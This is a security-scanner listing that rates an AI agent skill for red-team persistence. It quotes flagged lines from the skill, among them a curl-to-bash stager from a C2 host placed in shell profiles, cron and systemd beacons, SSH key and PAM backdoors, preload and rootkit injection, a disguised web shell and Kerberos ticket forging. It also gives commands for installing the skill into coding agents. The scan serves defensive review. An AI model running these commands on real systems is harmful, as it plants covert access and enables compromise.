offensive-persistence

64 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By SnailSploit/Claude-Red (GitHub) · coding · 10,590 stars · scanned at commit a8de813

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques incl…

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 12 places.

Skills/post-exploitation/offensive-persistence/SKILL.md, line 252impacket-secretsdump -just-dc-user krbtgt corp.local/admin:Password1@dc01.corp.local
Skills/post-exploitation/offensive-persistence/SKILL.md, line 266impacket-ticketer -nthash <SVC_HASH> -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/fileserver.corp.local administrator
Skills/post-exploitation/offensive-persistence/SKILL.md, line 317crontab -e

Show 9 more

Skills/post-exploitation/offensive-persistence/SKILL.md, line 335echo "/opt/.cache/beacon.sh" | at now + 1 hour
Skills/post-exploitation/offensive-persistence/SKILL.md, line 343cat << 'EOF' > /etc/systemd/system/system-health.service
Skills/post-exploitation/offensive-persistence/SKILL.md, line 388echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
Skills/post-exploitation/offensive-persistence/SKILL.md, line 402echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
Skills/post-exploitation/offensive-persistence/SKILL.md, line 430cp pam_backdoor.so /lib/x86_64-linux-gnu/security/
Skills/post-exploitation/offensive-persistence/SKILL.md, line 464echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
Skills/post-exploitation/offensive-persistence/SKILL.md, line 477insmod rootkit.ko
Skills/post-exploitation/offensive-persistence/SKILL.md, line 499cp shell.php /var/www/html/wp-includes/class-wp-locale-debug.php
Skills/post-exploitation/offensive-persistence/SKILL.md, line 509cat << 'EOF' > /path/to/repo/.git/hooks/post-merge

Changes files outside its own folder

This is disclosed by the author in the skill's SKILL.md or README.

Found in 15 places.

Skills/post-exploitation/offensive-persistence/SKILL.md, line 321echo '*/15 * * * * root /opt/.cache/beacon.sh' >> /etc/crontab
Skills/post-exploitation/offensive-persistence/SKILL.md, line 324echo '*/15 * * * * root /opt/.cache/beacon.sh' > /etc/cron.d/logrotate-helper
Skills/post-exploitation/offensive-persistence/SKILL.md, line 327cp payload.sh /etc/cron.hourly/health-check

Show 12 more

Skills/post-exploitation/offensive-persistence/SKILL.md, line 343cat << 'EOF' > /etc/systemd/system/system-health.service
Skills/post-exploitation/offensive-persistence/SKILL.md, line 358cat << 'EOF' > /etc/systemd/system/system-health.timer
Skills/post-exploitation/offensive-persistence/SKILL.md, line 388echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
Skills/post-exploitation/offensive-persistence/SKILL.md, line 392echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
Skills/post-exploitation/offensive-persistence/SKILL.md, line 393mkdir -p /etc/ssh/legacy_keys/root/
Skills/post-exploitation/offensive-persistence/SKILL.md, line 394echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
Skills/post-exploitation/offensive-persistence/SKILL.md, line 402echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
Skills/post-exploitation/offensive-persistence/SKILL.md, line 403echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
Skills/post-exploitation/offensive-persistence/SKILL.md, line 405echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
Skills/post-exploitation/offensive-persistence/SKILL.md, line 464echo "/lib/x86_64-linux-gnu/.libsec.so" >> /etc/ld.so.preload
Skills/post-exploitation/offensive-persistence/SKILL.md, line 466echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
Skills/post-exploitation/offensive-persistence/SKILL.md, line 482echo "rootkit" >> /etc/modules

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

Skills/post-exploitation/offensive-persistence/SKILL.md, line 388echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
Skills/post-exploitation/offensive-persistence/SKILL.md, line 389chmod 600 ~/.ssh/authorized_keys

Downloads and installs other software

The author does not mention this.

Found in 2 places.

Skills/post-exploitation/offensive-persistence/SKILL.md, line 403echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
Skills/post-exploitation/offensive-persistence/SKILL.md, line 518(curl -s https://c2.example.com/stager | bash &) 2>/dev/null

Sends data to these websites: c2.example.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

Skills/post-exploitation/offensive-persistence/SKILL.md, line 403echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
Skills/post-exploitation/offensive-persistence/SKILL.md, line 518(curl -s https://c2.example.com/stager | bash &) 2>/dev/null

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'offensive-persistence' ] || [ -L ~/.agents/skills/'offensive-persistence' ]; then echo 'A skill folder named offensive-persistence already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/post-exploitation/offensive-persistence' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/post-exploitation/offensive-persistence' ~/.agents/skills/'offensive-persistence' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-persistence' ~/.claude/skills/'offensive-persistence' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.

SkillTrust badge for SnailSploit/Claude-Red

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/SnailSploit/Claude-Red.svg)](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)

Score history

Date	Version	Score
2026-11-08	`a8de813`	64
2026-11-07	`a8de813`	64